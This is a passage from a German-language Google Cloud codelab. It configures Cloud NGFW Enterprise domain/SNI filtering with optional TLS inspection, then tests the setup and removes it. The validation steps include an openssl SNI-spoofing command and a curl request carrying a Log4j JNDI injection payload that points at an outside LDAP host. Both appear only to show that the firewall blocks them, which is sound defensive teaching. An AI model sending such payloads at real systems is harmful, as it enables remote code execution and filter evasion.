zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Hier kann die TLS-Prüfung helfen, diese Lücke zu schließen.
Verbindung schließen und VM beenden:
"ctrl" + c exit
18. [Optional] TLS-Prüfung
TLS-Ressourcen konfigurieren
Dieser Abschnitt ist optional, da die Domain-/SNI-Filterung ohne TLS-Prüfung funktioniert. Die TLS-Prüfung kann jedoch sinnvoll sein, wenn Sie die Gefahrenabwehr nutzen möchten oder in Zukunft, wenn die vollständige URL-Filterung verfügbar ist, pfadbasierte Regeln im Sicherheitsprofil erstellen möchten.
Außerdem bietet die TLS-Prüfung eine zusätzliche Ebene von Prüfungen, da SNI-Spoofing möglich ist.
Erstellen Sie einen CA-Pool. In dieser Ressource wird das Stammzertifizierungsstellenzertifikat gespeichert, das wir für NGFW Enterprise generieren.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Erstellen Sie die Stamm-CA. Dies ist das CA-Zertifikat, das zum Signieren zusätzlicher Zertifikate für Anfragen über NGFW Enterprise verwendet wird.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Wenn die folgende Meldung angezeigt wird, antworten Sie mit y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Erstellen Sie ein Dienstkonto. Dieses Dienstkonto wird zum Anfordern von Zertifikaten für NGFW Enterprise verwendet:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
IAM-Berechtigungen für das Dienstkonto festlegen:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Erstellen Sie die YAML-Datei für die TLS-Richtlinie. Diese Datei enthält Informationen zu den einzelnen Ressourcen:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Importieren Sie die TLS-Prüfungsrichtlinie:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Aktualisieren Sie die Endpunktverknüpfung, um TLS zu aktivieren:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Rufen Sie das CA-Zertifikat ab und fügen Sie es dem CA-Speicher des Clients hinzu. Dies ist für das Vertrauen erforderlich, da NGFW Enterprise eine TLS-Verbindung herstellen und das signierte Zertifikat aus dem CA-Pool präsentieren würde:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Übertragen Sie das CA-Zertifikat an den Client:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Stellen Sie eine SSH-Verbindung zur VM her, verschieben Sie das CA-Zertifikat nach /usr/local/share/ca-certificates und aktualisieren Sie den CA-Speicher:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Beenden Sie die VM und fahren Sie mit Cloud Shell fort.
Firewallregel für die TLS-Prüfung aktualisieren
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Regeln mit TLS-Prüfung validieren
Stellen Sie über IAP eine SSH-Verbindung zur VM her:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Senden Sie die Beispielanfragen an die zulässigen Ziele:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Diese sollten problemlos durchlaufen werden. Wenn wir das Zertifikat überprüfen und bestätigen möchten, ob es von der NGFW signiert wurde, können wir den folgenden Befehl ausführen:
curl https://ifconfig.me --max-time 2 -vv
Erwartete Ausgabe:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
In der obigen Ausgabe sehen wir, dass die Anfrage von NGFW Enterprise TLS-geprüft wird, da das empfangene Zertifikat von der zuvor erstellten Stammzertifizierungsstelle signiert wurde. (Ausstellerfeld)
Regeln validieren, die versuchen, SNI mit TLS-Prüfung zu fälschen
Sehen wir uns das Verhalten jetzt an, da die TLS-Prüfung aktiviert ist.
Führen Sie den folgenden openssl-Befehl aus, um die SNI zu fälschen:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Erwartete Ausgabe:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
In der obigen Ausgabe sehen wir, dass eine zuvor funktionierende SNI-Spoofing-Anfrage jetzt fehlschlägt, wenn die TLS-Prüfung aktiviert ist. Das liegt daran, dass bei aktivierter TLS-Prüfung die NGFW den SNI mit dem alternativen Antragstellernamen (Subject Alternative Name, SAN) des Serverzertifikats vergleicht. Wenn sie nicht übereinstimmt, schlägt der TLS-Handshake fehl.
Domain/SNI und Bedrohungsabwehr mit TLS-Prüfung validieren
Wir führen den Test, der zuvor für eine schädliche (log4j) Anfrage an eine zulässige Domain ausgeführt wurde, noch einmal aus.
Senden Sie die schädliche Log4j-Beispielanfrage an eine zulässige Domain/SNI-Zieladresse:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Erwartete Ausgabe:
000
Der Antwortcode 000 wird zurückgegeben, weil die Verbindung von der NGFW beendet wurde, da eine Bedrohung erkannt wurde. Wir können eine ausführlichere Ausgabe erfassen, um dies zu bestätigen.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Erwartete Ausgabe:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
Wie oben zu sehen ist, hat die NGFW eine TLS-Prüfung durchgeführt und die schädliche Anfrage blockiert.
Beenden Sie die VM:
exit
Fahren Sie mit dem nächsten Abschnitt fort, um die Bereinigungsschritte auszuführen.
19. Bereinigungsschritte
Bereinigung der Grundeinrichtung
Entfernen Sie die Instanzen:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Entfernen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Löschen Sie den Cloud Router und Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Löschen Sie die reservierten IP-Adressen:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall – Bereinigung von SPG und Zuordnungen
Löschen Sie die Sicherheitsprofilgruppe und das Profil für Bedrohungs- und URL-Filterung in dieser Reihenfolge:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Löschen Sie die Cloud Firewall-Endpunktverknüpfung:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Löschen Sie den Cloud Firewall-Endpunkt. Das kann etwa 20 Minuten dauern:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Optional können Sie mit dem folgenden Befehl bestätigen, dass der Cloud NGFW-Endpunkt gelöscht wurde:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Der Status für den Endpunkt sollte Folgendes anzeigen:
STATE: DELETING
Wenn der Vorgang abgeschlossen ist, wird der Endpunkt nicht mehr aufgeführt.
[Optional] TLS-Bereinigung
Wenn Sie die optionalen TLS-Prüfungskonfigurationen vorgenommen haben, führen Sie die folgenden Befehle aus, um die TLS-Ressourcen zu bereinigen.
Löschen Sie die TLS-Richtlinie:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Deaktivieren und löschen Sie die Stamm-CA und den CA-Pool:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Subnetz und VPC bereinigen
Löschen Sie schließlich das Subnetz und das VPC-Netzwerk:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Fazit und wichtige Aspekte
Dieses Lab ist sehr einfach und es wird nur mit einer einzelnen VM getestet, die auf das Internet zugreift. In realen Szenarien kann die VPC mehrere Ressourcen enthalten, wobei der Traffic in alle Richtungen (N/S und E/W) fließt. Da die Firewallregel für die Domain-/SNI-Filterung ein EGRESS 0.0.0.0/0 ist, handelt es sich um eine „Catch-all“-Regel, die UNBEDINGT als Regel mit der niedrigsten Priorität in der Netzwerkrichtlinie konfiguriert werden muss. Andernfalls würde der Traffic unerwartet übereinstimmen und basierend auf der Standardregel für die URL-Filterung zugelassen oder abgelehnt werden.
Außerdem können Sie den Umfang mit Netzwerktypen einschränken. So soll verhindert werden, dass E/W-Traffic mit der Regel übereinstimmt. Alternativ können Sie eine Regel mit höherer Priorität zum Zulassen von Ost-West-Traffic erstellen.
Weitere Informationen finden Sie im Dokument zu Best Practices für die Domain-/SNI-Filterung.
21. Glückwunsch!
Sie haben das Codelab „Cloud NGFW Enterprise für das Filtern von Domains und SNI mit optionaler TLS-Prüfung“ erfolgreich abgeschlossen.